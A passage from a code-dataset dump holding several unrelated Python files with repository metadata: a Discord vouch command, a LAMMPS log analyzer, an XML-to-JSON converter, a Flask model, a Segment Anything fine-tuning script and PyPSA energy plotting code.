\"out.img\")\n\n assert path.exists(\"out.img\")\n\n os.remove(\"out.img\")\n\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"duanqz/bootimgpack","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3756,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"29"} +{"seq_id":"1551186446","text":"import random\nfrom .command_utils import arguments\n\n\n@arguments(str, int)\nasync def invoke(client, message, _, amount):\n if client.customer not in message.author.roles:\n return await message.channel.send(f\"<@{message.author.id}>, you must be of Customer role to vouch\")\n elif amount not in (-1, 1):\n return await message.channel.send(f\"<@{message.author.id}>, you can only vouch -1 or +1\")\n elif not message.mentions:\n return await message.channel.send(f\"<@{message.author.id}>, no user mentioned to vouch\")\n user = message.mentions[0]\n if user == message.author:\n return await message.channel.send(f\"<@{message.author.id}>, you can't vouch yourself\")\n vid = random.randint(1, 65535)\n if vid in client.unverified_vouches:\n vid = random.randint(1, 65535)\n if user.id not in client.unverified_vouches:\n client.unverified_vouches[user.id] = []\n client.unverified_vouches[user.id].append({\n \"amount\": amount,\n \"id\": vid\n })\n await message.channel.send(f\"<@{user.id}> has to execute `{client.prefix}accept_vouch {vid}` to accept this vouch, \"\n \"otherwise, they may choose to ignore it\")\n","repo_name":"unazed/yolo-discord-template-v2","sub_path":"commands/give_vouch.py","file_name":"give_vouch.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"9928572750","text":"import numpy as np\n\nclass Log:\n \"\"\" Analyzing log files, containing system information.\n \n Parameters\n ----------\n filename : str\n string containing file to load.\n ignore_first : int\n ignore equilibriation files.\n \"\"\"\n def __init__(self, filename, ignore_first=0):\n self.read_log_file(filename, ignore_first)\n self.mk_dumpfile = True\n\n def read_log_file(self, filename, ignore_first):\n \"\"\" Reading log file by going through file line after line. \n \n Parameters\n ----------\n filename : str\n string containing file to load.\n ignore_first : int\n ignore equilibriation files.\n \"\"\"\n f = open(filename, \"r\")\n\n self.timestep = 0.005 # Default\n self.mass = 1 # Default\n self.units = \"metal\" # Default\n self.lst = []\n\n read = False # True if the line should be read\n for i, line in enumerate(f.readlines()):\n # Search for variables\n if line.startswith(\"Step\"):\n self.variables = line.split()\n num_variables = len(self.variables)\n self.lst.append([[] for _ in range(num_variables)])\n read = True\n elif line.startswith(\"Loop time of\"):\n read = False\n elif read:\n strings = line.split()\n for j, string in enumerate(strings):\n self.lst[-1][j].append(float(line.split()[j]))\n # Search for timestep\n elif line.startswith(\"timestep\"):\n self.timestep = line.split()[1]\n # Search for mass\n elif line.startswith(\"mass\"):\n self.mass = float(line.split()[1])\n elif line.startswith(\"units\"):\n self.units = line.split()[1]\n f.close()\n self.array = np.hstack(self.lst[ignore_first:])\n self.shape = self.array.shape\n \n \n def find(self, key):\n \"\"\" Search for a category (Step, Temp, Press etc...). If the \n keyword exists, if returns the associated array containing\n the quantity as a function of timesteps.\n \n Parameters\n ----------\n key : str\n string containing keyword\n \n Returns\n -------\n ndarray\n array containing the column related to the key\n \"\"\"\n array = None\n for i, variable in enumerate(self.variables):\n if variable == key:\n array = self.array[i]\n if array is None:\n raise KeyError(\"No category named {} found.\".format(key))\n else:\n return np.array(array)\n \n def smooth(self, y, window_size=29, order=4, deriv=0, rate=1):\n \"\"\" Smooth data with a Savitzky-Golay filter.\n The Savitzky-Golay filter removes high frequency noise from data.\n It has the advantage of preserving the original shape and\n features of the signal better than other types of filtering\n approaches, such as moving averages techniques.\n \n Parameters\n ----------\n y : array_like, shape(N,) \n the values of the time history of the signal\n window_size : int\n the length of the window. Must be an odd integer number\n order : int \n the order of the polynomial used in the filtering. \n Must be less then `window_size` - 1.\n deriv : int\n the order of the derivative to compute (default = 0 means only smoothing)\n\n Returns\n -------\n ndarray\n the smoothed signal (or it's n-th derivative)\n \n References\n ----------\n .. [1] A. Savitzky, M. J. E. Golay, Smoothing and Differentiation of\n Data by Simplified Least Squares Procedures. Analytical\n Chemistry, 1964, 36 (8), pp 1627-1639.\n .. [2] Numerical Recipes 3rd Edition: The Art of Scientific Computing\n W.H. Press, S.A. Teukolsky, W.T. Vetterling, B.P. Flannery\n Cambridge University Press ISBN-13: 9780521880688\n \"\"\"\n import scipy.signal\n\n try:\n window_size = np.abs(np.int(window_size))\n order = np.abs(np.int(order))\n except ValueError:\n raise ValueError(\"window_size and order have to be of type int\")\n if window_size % 2 != 1 or window_size < 1:\n raise TypeError(\"window_size size must be a positive odd number\")\n if window_size < order + 2:\n raise TypeError(\"window_size is too small for the polynomials order\")\n order_range = range(order+1)\n half_window = (window_size -1) // 2\n # precompute coefficients\n b = np.mat([[k**i for i in order_range] for k in range(-half_window, half_window+1)])\n m = np.linalg.pinv(b).A[deriv] * rate**deriv * np.math.factorial(deriv)\n # pad the signal at the extremes with\n # values taken from the signal itself\n firstvals = y[0] - np.abs( y[1:half_window+1][::-1] - y[0] )\n lastvals = y[-1] + np.abs(y[-half_window-1:-1][::-1] - y[-1])\n y = np.concatenate((firstvals, y, lastvals))\n return np.convolve( m[::-1], y, mode='valid')\n \n def plot(self, x, y, show=False, save=False, smooth=False, window_size=501, \n order=4, xlabel=None, ylabel=None, xunit=None, yunit=None):\n \"\"\" Plot a column x as a function of column y using matplotlib. Note \n that both x and y are supposed to be the names of the observables that\n we want to plot, and are therefore strings. \n\n Parameters\n ----------\n x : str\n string containing which column to plot on the x-axis\n y : str\n string containing which column to plot on the y-axis\n show : bool or int \n show plot\n save : str or bool or list \n where to save plot. If nothing is specified, the plot is not saved. \n If save=True, the image is saved in the current directory. \n If save is string of filenames, the image is saved as all filenames. \n smooth : bool or int \n smooth curve using the Savitzky-Golay filter\n window_size : int \n window size of the Savitzky-Golay filter. Has impact only if smooth=True.\n order : int \n order of polynomial smoothing by the Savitzky-Golay filter. \n Has impact only if smooth=True.\n xlabel : str \n label on x-axis\n ylabel : str \n label on y-axis\n xunit : str\n unit on x-axis\n yunit : str\n unit on y-axis\n \n Returns\n -------\n list On Python 3.x, this returns a dictionary view object, not a list\n \"\"\"\n x_array = self.find(x) # x-array\n y_array = self.find(y) # y-array\n \n from labels import labels, units\n if xlabel is None:\n try:\n xlabel = labels(x)\n except NameError:\n print(\"Unknown x-label\")\n xlabel = \"unknown\"\n if ylabel is None:\n try:\n ylabel = labels(y)\n except NameError:\n print(\"Unknown y-label\")\n ylabel = \"unknown\"\n if xunit is None:\n try:\n xunit = units(\"metal\", x)\n except NameError:\n print(\"Unknown x-unit\")\n xunit = \"unknown\"\n if yunit is None:\n try:\n yunit = units(\"metal\", y)\n except NameError:\n print(\"Unknown y-unit\")\n yunit = \"unknown\"\n \n if smooth: \n x_array = self.smooth(x_array, window_size, order)\n y_array = self.smooth(y_array, window_size, order)\n \n import matplotlib.pyplot as plt\n plt.style.use(\"bmh\")\n plt.rcParams[\"font.family\"] = \"Serif\" # Font\n plt.rcParams.update({'figure.autolayout': True}) # Autolayout\n plt.rc('figure', max_open_warning = 0) # Avoiding RecursionError\n plt.figure()\n plt.plot(x_array, y_array)\n plt.xlabel(xlabel + \" [\" + xunit + \"]\")\n plt.ylabel(ylabel + \" [\" + yunit + \"]\")\n if type(save) is str: \n plt.savefig(save)\n elif type(save) is list:\n for filename in save:\n plt.savefig(filename)\n elif save:\n plt.savefig(\"{}_{}.png\".format(x, y))\n if show: \n plt.show()\n return None\n \n def estimate_boiling_temperature(self, units='K', prnt=False, dumpfile=None):\n \"\"\" Estimates the boiling temperature from the graph of the total\n energy. The water is boiling where the energy has the highest slope.\n \n Supported units: K, C, F\n \n Parameters\n ----------\n units : str\n in which temperature units the boiling temperature is displayed and stored\n prnt : bool or int\n printing the boiling temperature to the terminal is prnt=True\n \n Returns\n -------\n float\n estimated boiling temperature\n \"\"\"\n temp = self.find(\"Temp\")\n energy = self.find(\"TotEng\")\n energy = self.smooth(energy)\n energy_der = self.smooth(energy, deriv=1)\n index = np.argmax(energy_der)\n \n if units == \"C\":\n temp -= 273.15\n elif units == \"F\":\n temp = temp * 9/5. - 459.67\n \n T_boil = temp[index]\n if prnt: print(\"Estimated boiling temperature is {} {}\".format(T_boil, units))\n if type(dumpfile) is str:\n arg = 'a'\n if self.mk_dumpfile:\n arg = 'w'\n with open(dumpfile, arg) as file:\n file.write(\"# Estimated boiling temperature given in {}:\\n\".format(units))\n file.write(str(T_boil) + \"\\n\\n\")\n file.write(\"\")\n self.mk_dumpfile = False\n return T_boil\n \n def estimate_vaporization_enthalpy(self, units='eV', atoms=None, prnt=False, dumpfile=None):\n \"\"\" Estimates the vaporization enthalpy based on the enthalpy \n change around boiling point.\n \n Supported units: eV, kcal, kcal/mol\n \n Parameters\n ----------\n units : str\n in which temperature units the vaporization enthalpy is displayed \n and stored\n prnt : bool or int\n printing the vaporization enthalpy to the terminal is prnt=True\n \n Returns\n -------\n float\n estimated vaporization enthalpy\n \"\"\"\n enthalpy = self.find(\"Enthalpy\")\n enthalpy = self.smooth(enthalpy)\n \n if units == \"kcal\":\n enthalpy /= 2.61144742e22\n elif units == \"kcal/mol\":\n NA = 6.02214075e23 # Avogadro's number, mol^-1\n mol = atoms / NA\n enthalpy /= 2.61144742e22 * mol\n H_boil = np.max(enthalpy) - np.min(enthalpy)\n if prnt: print(\"Estimated vaporization enthalpy is {} {}\".format(H_boil, units))\n if type(dumpfile) is str:\n arg = 'a'\n if self.mk_dumpfile:\n arg = 'w'\n with open(dumpfile, arg) as file:\n file.write(\"# Estimated vaporization enthalpy given in {}:\\n\".format(units))\n file.write(str(H_boil) + \"\\n\\n\")\n file.write(\"\")\n self.mk_dumpfile = False\n return H_boil\n \nif __name__ == \"__main__\":\n # EXAMPLE USAGE\n logger = Log(\"argon_nve_0.005.log\")\n \n # Keys available\n print(logger.variables)\n \n # Plot energy\n #logger.plot(\"Time\", \"v_msd\", show=True)\n \n time = logger.find(\"Time\")\n msd = logger.find(\"v_msd\")\n \n import matplotlib.pyplot as plt\n plt.style.use(\"bmh\")\n plt.rcParams[\"font.family\"] = \"Serif\" # Font\n plt.rcParams.update({'figure.autolayout': True}) # Autolayout\n plt.plot(time, msd)\n plt.show()\n","repo_name":"evenmn/lammps-analyzer","sub_path":"lammps_analyzer/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":12166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"70311028240","text":"#!/usr/bin/env python3\n\nimport io\nimport json\nimport arrow\nimport xml.etree.ElementTree as ET\n\n_input = './data/eponyms.xml'\n_output = './export.json'\n_main_elem = 'main'\n\n\ndef convert(source, target):\n\tjs = read_and_convert(source)\n\twith io.open(target, 'w') as h:\n\t\tjson.dump(js, h)\n\ndef read_and_convert(source):\n\troot = ET.parse(source).getroot()\n\ttags = []\n\tmain = []\n\t\n\t# author\n\tandrew = {\n\t\t'_id': 'andrewyee',\n\t\t'type': 'author',\n\t\t'name': 'Andrew J Yee',\n\t}\n\t\n\t# find categories\n\tfor category in root.iter('category'):\n\t\ttag = {\n\t\t\t'_id': category.get('tag').lower(),\n\t\t\t'type': 'tag',\n\t\t\t'content': {\n\t\t\t\t'en': category.get('title'),\n\t\t\t},\n\t\t}\n\t\ttags.append(tag)\n\t\n\t# find eponyms\n\tfor eponym in root.iter('eponym'):\n\t\tepo = {\n\t\t\t'_id': eponym.get('id').lower(),\n\t\t\t'type': _main_elem,\n\t\t\t'tags': [cat.text.lower() for cat in eponym.iter('cat')],\n\t\t\t'content': {\n\t\t\t\t'en': {\n\t\t\t\t\t'name': eponym.find('name').text,\n\t\t\t\t\t'text': eponym.find('desc').text,\n\t\t\t\t}\n\t\t\t},\n\t\t\t'audits': [{\n\t\t\t\t'author': 'andrewyee',\n\t\t\t\t'date': arrow.get(eponym.find('c').text).format('YYYY-MM-DD'),\n\t\t\t\t'action': 'create',\n\t\t\t}],\n\t\t}\n\t\tmain.append(epo)\n\t\t\t\n\t# concat\n\tdocs = [andrew]\n\tdocs.extend(tags)\n\tdocs.extend(main)\n\treturn {\n\t\t'date': arrow.get().isoformat(),\n\t\t'documents': docs,\n\t}\n\n\nif '__main__' == __name__:\n\tconvert(_input, _output)\n","repo_name":"Ossus/eponyms-data-converter","sub_path":"xml-to-json.py","file_name":"xml-to-json.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"947725295","text":"from flask_sqlalchemy import SQLAlchemy\nimport datetime\n\nfrom marshmallow import Schema, fields, pprint\n\ndb = SQLAlchemy()\n\n\nclass Company(db.Model):\n# \"\"\"model for one of your table\"\"\"\n __tablename__ = 'company'\n # define your model\n company_id = db.Column(db.Integer, primary_key=True)\n company_name = db.Column(db.String(80))\n email = db.Column(db.String(100))\n phone_no = db.Column(db.String)\n address = db.Column(db.String(120))\n\n def __init__(self,company_name,email,phone_no,address):\n # self.company_id=company_id\n self.company_name=company_name\n self.email =email\n self.phone_no = phone_no\n self.address=address\n\n def __repr__(self):\n return '' % self.company_name\n\n\nclass CompanySchema(Schema):\n company_id = fields.Int()\n name = fields.Str()\n email = fields.Str()\n phone_no = fields.Str()\n address = fields.Str()\n formatted_name = fields.Method(\"format_name\", dump_only=True)\n\n def format_name(self, company):\n return \"{}, {}, {}, {}, {}\".format(company.company_id, company.company_name,company.email,company.phone_no,company.address)\n\ncompany_schema = CompanySchema()\ncompanies_schema = CompanySchema(many=True)\n","repo_name":"kearron/py_crud_git","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"28862444407","text":"import torch\nimport torch.nn as nn\nfrom dataset import BTCVdataset\nfrom segment_anything import SamAutomaticMaskGenerator, sam_model_registry\nfrom segment_anything import sam_model_registry, SamPredictor\nfrom torch.utils.data import DataLoader\nfrom segment_anything.utils.transforms import ResizeLongestSide\nimport torch.nn.functional as F\nfrom utils import generate_box,show_box,show_mask,DiceLoss\nimport cv2\nimport monai\nfrom tqdm import tqdm\nfrom numpy import *\nimport matplotlib.pyplot as plt\nfrom torch.utils.tensorboard import SummaryWriter\n\ndata_path = \"./data\"\ntrain_batch_size = 4\ntest_batch_size = 4\nmodel_type = 'vit_h'\ncheckpoint = 'sam_vit_h_4b8939.pth'\ndevice = \"cuda:0\"\nlr = 1e-6\nwd = 0\nnum_epochs = 100\ninput_size = (1024,1024)\noriginal_image_size = (512,512)\n\n\ndef main():\n sam_model = sam_model_registry[model_type](checkpoint=checkpoint)\n sam_model.to(device)\n\n dataset = BTCVdataset(data_path,sam_model,device)\n train_size = int(0.8 * len(dataset))\n test_size = len(dataset) - train_size\n train_dataset, test_dataset = torch.utils.data.random_split(dataset, [train_size, test_size])\n train_loader = DataLoader(train_dataset, batch_size=train_batch_size, shuffle=True)\n test_loader = DataLoader(test_dataset, batch_size=test_batch_size,shuffle=False)\n \n \n sam_model.train()\n\n optimizer = torch.optim.Adam(sam_model.mask_decoder.parameters(),lr=lr, weight_decay=wd) \n seg_loss = DiceLoss()\n \n losses = []\n writer = SummaryWriter(log_dir=\"./vis/\")\n best_per = 1\n train_num = 0\n eva_num = 0\n for epoch in range(num_epochs):\n epoch_losses = []\n for i,(image,label) in enumerate(tqdm(train_loader)):\n \n image_list = []\n for img_name in image: \n image1 = cv2.imread(img_name)\n image1 = cv2.cvtColor(image1, cv2.COLOR_BGR2RGB)\n transform = ResizeLongestSide(sam_model.image_encoder.img_size)\n input_image = transform.apply_image(image1)\n input_image_torch = torch.as_tensor(input_image, device=device)\n transformed_image = input_image_torch.permute(2, 0, 1).contiguous()[None, :, :, :]\n input_image = sam_model.preprocess(transformed_image)\n image_list.append(input_image)\n input_image = torch.cat(tuple(image_list),0)\n #print(input_image.shape)\n \n boxes,ind_list = generate_box(label)\n transform = ResizeLongestSide(sam_model.image_encoder.img_size)\n boxes_tensor = []\n for box in boxes:\n box = transform.apply_boxes(box, original_image_size)\n boxes_tensor.append(box[0])\n boxes_torch = torch.tensor(boxes_tensor, dtype=torch.float, device=device)\n \n\n with torch.no_grad():\n image_embedding = sam_model.image_encoder(input_image)\n sparse_embeddings, dense_embeddings = sam_model.prompt_encoder(\n points=None,\n boxes=boxes_torch,\n masks=None,\n )\n low_res_masks, iou_predictions = sam_model.mask_decoder(\n image_embeddings=image_embedding,\n image_pe=sam_model.prompt_encoder.get_dense_pe(),\n sparse_prompt_embeddings=sparse_embeddings,\n dense_prompt_embeddings=dense_embeddings,\n multimask_output=False,\n )\n\n upscaled_masks = sam_model.postprocess_masks(low_res_masks, input_size, original_image_size).to(device)\n binary_mask = F.normalize(F.threshold(upscaled_masks, 0.0, 0))\n \n gt_masks = []\n for num,gt_mask in enumerate(label):\n gt_mask = torch.where(gt_mask==ind_list[num],1,0)\n # print(gt_mask.shape)\n gt_masks.append(gt_mask.tolist())\n \n gt_masks = torch.tensor(gt_masks, dtype=torch.float32,device=device)\n\n # mask = binary_mask[1]\n # img_name = image[1]\n # image1 = cv2.imread(img_name)\n # image1 = cv2.cvtColor(image1, cv2.COLOR_BGR2RGB)\n # box = boxes[1]\n # plt.figure(figsize=(10, 10))\n # plt.imshow(image1)\n # show_mask(gt_masks[1].cpu().detach().numpy(), plt.gca(), random_color=True)\n # show_mask(mask.cpu().detach().numpy(), plt.gca(), random_color=True)\n # show_box(box, plt.gca())\n # print(box)\n # plt.axis('off')\n # plt.savefig(\"1.png\")\n \n #print(gt_masks.shape)\n #print(binary_mask.shape)\n loss = seg_loss(binary_mask.squeeze(), gt_masks)\n #print(loss)\n # exit(0)\n if i % 10==0:\n print(loss)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n epoch_losses.append(loss.item())\n writer.add_scalar('train',loss.item(),train_num)\n train_num+=1\n losses.append(epoch_losses)\n print(f'EPOCH: {epoch}')\n print(f'Mean loss: {mean(epoch_losses)}')\n\n with torch.no_grad():\n for i,(eva_image,eva_label) in enumerate(tqdm(test_loader)):\n eva_losses = []\n eva_image_list = []\n for eva_img_name in eva_image: \n eva_image1 = cv2.imread(eva_img_name)\n eva_image1 = cv2.cvtColor(eva_image1, cv2.COLOR_BGR2RGB)\n transform = ResizeLongestSide(sam_model.image_encoder.img_size)\n eva_input_image = transform.apply_image(eva_image1)\n eva_input_image_torch = torch.as_tensor(eva_input_image, device=device)\n eva_transformed_image = eva_input_image_torch.permute(2, 0, 1).contiguous()[None, :, :, :]\n eva_input_image = sam_model.preprocess(eva_transformed_image)\n eva_image_list.append(eva_input_image)\n eva_input_image = torch.cat(tuple(eva_image_list),0)\n #print(input_image.shape)\n \n eva_boxes,eva_ind_list = generate_box(eva_label)\n transform = ResizeLongestSide(sam_model.image_encoder.img_size)\n eva_boxes_tensor = []\n for eva_box in eva_boxes:\n eva_box = transform.apply_boxes(eva_box, original_image_size)\n eva_boxes_tensor.append(eva_box[0])\n eva_boxes_torch = torch.tensor(eva_boxes_tensor, dtype=torch.float, device=device)\n \n\n with torch.no_grad():\n eva_image_embedding = sam_model.image_encoder(eva_input_image)\n eva_sparse_embeddings, eva_dense_embeddings = sam_model.prompt_encoder(\n points=None,\n boxes=eva_boxes_torch,\n masks=None,\n )\n eva_low_res_masks, eva_iou_predictions = sam_model.mask_decoder(\n image_embeddings=eva_image_embedding,\n image_pe=sam_model.prompt_encoder.get_dense_pe(),\n sparse_prompt_embeddings=eva_sparse_embeddings,\n dense_prompt_embeddings=eva_dense_embeddings,\n multimask_output=False,\n )\n\n eva_upscaled_masks = sam_model.postprocess_masks(eva_low_res_masks, input_size, original_image_size).to(device)\n eva_binary_mask = F.normalize(F.threshold(eva_upscaled_masks, 0.0, 0))\n \n eva_gt_masks = []\n for num,eva_gt_mask in enumerate(eva_label):\n eva_gt_mask = torch.where(eva_gt_mask==eva_ind_list[num],1,0)\n # print(gt_mask.shape)\n eva_gt_masks.append(eva_gt_mask.tolist())\n \n eva_gt_masks = torch.tensor(eva_gt_masks, dtype=torch.float32,device=device)\n eva_loss = seg_loss(eva_binary_mask.squeeze(), eva_gt_masks)\n eva_losses.append(eva_loss.item())\n writer.add_scalar('test',eva_loss.item(),eva_num)\n eva_num+=1\n print(mean(eva_losses))\n if mean(eva_losses) pd.to_datetime('1/1/2013 00:00:00')]\n best_indices = best_indices[best_indices < pd.to_datetime('31/12/2013 21:00:00')]\n best_indices = best_indices[best_indices > pd.to_datetime('1/1/2013 00:00:00')]\n\n if case == 'worst':\n dstart = worst_indices[0]\n dend = worst_indices[-1]\n\n if case == 'best':\n dstart = best_indices[0]\n dend = best_indices[-1]\n\n return dstart,dend\n\n\ndef rename_low_voltage_techs(label):\n rename_if_contains = ['home battery',\n 'BEV',\n 'V2G',\n 'heat pump',\n 'resistive heater',\n ]\n \n for rif in rename_if_contains:\n if rif in label:\n label = rif\n \n rename_if_contains_dict = {'electricity distribution grid':'High voltage electricity provision'}\n \n for old,new in rename_if_contains_dict.items():\n if old in label:\n label = new\n \n return label\n\ndef split_el_distribution_grid(supply,country,network):\n n = network.copy()\n \n low_voltage_consumers = n.links.bus0[n.links.bus0.str.endswith('low voltage')].index\n low_voltage_providers = n.links.bus1[n.links.bus1.str.endswith('low voltage')].index\n domestic_consumers = n.loads.query('carrier == \"electricity\"').index\n industry_consumers = n.loads.query('carrier == \"industry electricity\"').index\n \n if country != 'EU':\n low_voltage_consumers = low_voltage_consumers[low_voltage_consumers.str.contains(country)]\n low_voltage_providers = low_voltage_providers[low_voltage_providers.str.contains(country)]\n domestic_consumers = domestic_consumers[domestic_consumers.str.contains(country)]\n industry_consumers = industry_consumers[industry_consumers.str.contains(country)]\n \n # Consumption (negative):\n lv_consumption = -n.links_t.p0[low_voltage_consumers].groupby(rename_low_voltage_techs,axis=1).sum() # From low voltage grid to battery\n domestic_consumption = -n.loads_t.p[domestic_consumers].sum(axis=1)\n industry_consumption = -n.loads_t.p[industry_consumers].sum(axis=1)\n \n # Provision (positive)\n lv_provision = n.links_t.p0[low_voltage_providers]\n lv_provision = lv_provision[lv_provision.columns[~lv_provision.columns.str.endswith('grid')]].groupby(rename_low_voltage_techs,axis=1).sum() # From appliance to low voltage grid\n solar_rooftop = n.generators_t.p[n.generators.query('carrier == \"solar rooftop\"').index]\n \n if country != 'EU':\n solar_rooftop = solar_rooftop[solar_rooftop.columns[solar_rooftop.columns.str.contains(country)]]\n solar_rooftop = solar_rooftop.sum(axis=1)\n\n try:\n supply.drop(columns='electricity distribution grid',inplace=True)\n except:\n supply = supply\n \n supply['domestic demand'] = domestic_consumption\n supply['industry demand'] = industry_consumption\n supply['solar rooftop'] = solar_rooftop\n \n for i in lv_consumption.columns:\n supply[i] = lv_consumption[i]\n \n for i in lv_provision.columns:\n supply[i] = lv_provision[i]\n \n return supply\n\ndef plot_series(network, country, dstart, dend, tech_colors, figsize=(8, 5), moving_average=1, carrier=\"AC\"):\n\n n = network.copy()\n assign_location(n)\n assign_carriers(n)\n\n buses = n.buses.index[n.buses.carrier.str.contains(carrier)]\n if country != 'EU':\n buses = buses[buses.str.contains(country)]\n\n supply = pd.DataFrame(index=n.snapshots)\n for c in n.iterate_components(n.branch_components):\n n_port = 4 if c.name=='Link' else 2\n for i in range(n_port):\n supply = pd.concat((supply,\n (-1) * c.pnl[\"p\" + str(i)].loc[:,\n c.df.index[c.df[\"bus\" + str(i)].isin(buses)]].groupby(c.df.carrier,\n axis=1).sum()),\n axis=1)\n \n \n # print(supply) \n\n for c in n.iterate_components(n.one_port_components):\n comps = c.df.index[c.df.bus.isin(buses)]\n if country != 'EU':\n comps = comps[comps.str.contains(country)]\n supply = pd.concat((supply, ((c.pnl[\"p\"].loc[:, comps]).multiply(\n c.df.loc[comps, \"sign\"])).groupby(c.df.carrier, axis=1).sum()), axis=1)\n\n supply = supply.groupby(rename_techs, axis=1).sum()\n\n supply = split_el_distribution_grid(supply,country,n)\n\n both = supply.columns[(supply < 0.).any() & (supply > 0.).any()]\n\n positive_supply = supply[both]\n negative_supply = supply[both]\n\n positive_supply[positive_supply < 0.] = 0.\n negative_supply[negative_supply > 0.] = 0.\n\n supply[both] = positive_supply\n\n suffix = \" charging\"\n\n negative_supply.columns = negative_supply.columns + suffix\n\n supply = pd.concat((supply, negative_supply), axis=1)\n\n # 14-21.2 for flaute\n # 19-26.1 for flaute\n\n start = dstart #pd.Timestamp('2013-01-01')\n stop = dend #pd.Timestamp('2013-12-31')\n \n # start = pd.Timestamp('2013-01-01')\n # stop = pd.Timestamp('2013-12-31')\n\n threshold = 2.5e3\n\n to_drop = supply.columns[(abs(supply) < threshold).all()]\n # print(supply)\n if len(to_drop) != 0:\n print(\"dropping\", to_drop)\n supply.drop(columns=to_drop, inplace=True)\n # print(supply)\n # print(supply['nuclear'])\n supply.index.name = None\n\n supply = supply / 1e3\n\n supply.rename(columns={\"electricity\": \"electric demand\",\n \"heat\": \"heat demand\",\n \"home battery\":\"battery\"},\n inplace=True)\n supply.columns = supply.columns.str.replace(\"residential \", \"\")\n supply.columns = supply.columns.str.replace(\"services \", \"\")\n supply.columns = supply.columns.str.replace(\"urban decentral \", \"decentral \")\n\n preferred_order = pd.Index([\"domestic demand\",\n \"industry demand\",\n \"heat pump\",\n \"resistive heater\",\n \"H2 charging\",\n \"BEV\",\n \"battery charging\",\n \"PHS charging\",\n \"storage-X charging\",\n \"nuclear\",\n \"wind\",\n \"solar PV\",\n \"solar rooftop\",\n \"hydroelectricity\",\n \"CHP\",\n \"CHP CC\",\n \"biomass\",\n \"gas\",\n \"home battery\",\n \"battery\",\n \"V2G\",\n \"H2\"\n \"solar thermal\",\n \"Fischer-Tropsch\",\n \"CO2 capture\",\n \"CO2 sequestration\",\n ])\n\n supply = supply.groupby(supply.columns, axis=1).sum()\n \n supply.index = pd.date_range('1/1/2013','1/1/2014',freq='3h')[0:-1]\n\n fig, ax = plt.subplots()\n fig.set_size_inches(figsize)\n\n supply_temp = supply.rename(columns={'battery storage charging':'battery charging',\n 'battery storage':'battery',\n # 'H2 charging':'H2',\n #'hydroelectricity charging':'hydroelectricity',\n })\n supply = supply_temp.groupby(by=supply_temp.columns,axis=1).sum()\n\n new_columns = (preferred_order.intersection(supply.columns)\n .append(supply.columns.difference(preferred_order)))\n \n supply_plot = supply.loc[start:stop,new_columns].rolling(moving_average).mean()\n # supply_plot['hydroelectricity charging'][supply_plot['hydroelectricity charging'] > 0] = 0\n \n try:\n supply_plot['transmission lines charging'][supply_plot['transmission lines charging'] > 0] = 0\n except:\n print('No transmission lines')\n \n try:\n supply_plot['PHS charging'][supply_plot['PHS charging'] > 0] = 0\n except:\n print('No PHS')\n \n try:\n supply_plot['storage-X charging'][supply_plot['storage-X charging'] > 0] = 0\n except:\n print('No storage-X')\n \n (supply_plot\n .plot(ax=ax, kind=\"area\", stacked=True, linewidth=0.,legend=False,\n color=[tech_colors[i.replace(suffix,\"\")] for i in new_columns]))\n\n handles, labels = ax.get_legend_handles_labels()\n\n handles.reverse()\n labels.reverse()\n\n new_handles = []\n new_labels = []\n\n for i, item in enumerate(labels):\n if item == 'H2 charging' and 'H2' not in labels:\n new_handles.append(handles[i])\n new_labels.append('H2')\n \n if \"charging\" not in item:\n new_handles.append(handles[i])\n new_labels.append(labels[i])\n\n # fig.legend(new_handles, new_labels,loc='lower center', bbox_to_anchor=(0.65, -0.5), prop={'size':15},ncol=3)\n \n ax.set_xlim([start+pd.Timedelta(3*moving_average, \"h\"), stop])\n ax.set_ylim([-1.1*supply_plot[supply_plot > 0].sum(axis=1).max(), 1.1*supply_plot[supply_plot > 0].sum(axis=1).max()])\n # ax.set_ylim([-1600,1600])\n # xax = ax.get_xaxis()\n # xax.set_tick_params(which='major', pad=-25)\n ax.grid(True)\n ax.set_ylabel(\"Power [GW]\")\n \n ydispl = -0.35 if 'BEV' in supply.columns else -0.25\n \n fig.legend(new_handles, new_labels, ncol=3, \n bbox_to_anchor=(0.15, ydispl), loc=3, frameon=True,prop={'size': 15},borderaxespad=0)\n \n fig.tight_layout()\n\n return ax,fig,supply\n\ndef make_handler_map_to_scale_circles_as_in(ax, dont_resize_actively=False):\n fig = ax.get_figure()\n\n def axes2pt():\n return np.diff(ax.transData.transform([(0, 0), (1, 1)]), axis=0)[\n 0] * (72. / fig.dpi)\n\n ellipses = []\n if not dont_resize_actively:\n def update_width_height(event):\n dist = axes2pt()\n for e, radius in ellipses:\n e.width, e.height = 2. * radius * dist\n fig.canvas.mpl_connect('resize_event', update_width_height)\n ax.callbacks.connect('xlim_changed', update_width_height)\n ax.callbacks.connect('ylim_changed', update_width_height)\n\n def legend_circle_handler(legend, orig_handle, xdescent, ydescent,\n width, height, fontsize):\n w, h = 2. * orig_handle.get_radius() * axes2pt()\n e = Ellipse(xy=(0.5 * width - 0.5 * xdescent, 0.5 *\n height - 0.5 * ydescent), width=w, height=w)\n ellipses.append((e, orig_handle.get_radius()))\n return e\n return {Circle: HandlerPatch(patch_func=legend_circle_handler)}\n\ndef make_legend_circles_for(sizes, scale=1.0, **kw):\n return [Circle((0, 0), radius=(s / scale)**0.5, **kw) for s in sizes]\n\ndef plot_map(network, tech_colors, threshold=10,components=[\"links\", \"generators\", \"storage_units\"],\n bus_size_factor=15e4, transmission=False):\n \n fig, ax = plt.subplots(subplot_kw={\"projection\": ccrs.PlateCarree()})\n \n n = network.copy()\n \n assign_location(n)\n # Drop non-electric buses so they don't clutter the plot\n n.buses.drop(n.buses.index[n.buses.carrier != \"AC\"], inplace=True)\n # costs = pd.DataFrame(index=n.buses.index)\n capacity = pd.DataFrame(index=n.buses.index)\n for comp in components:\n df_c = getattr(n, comp)\n if len(df_c) 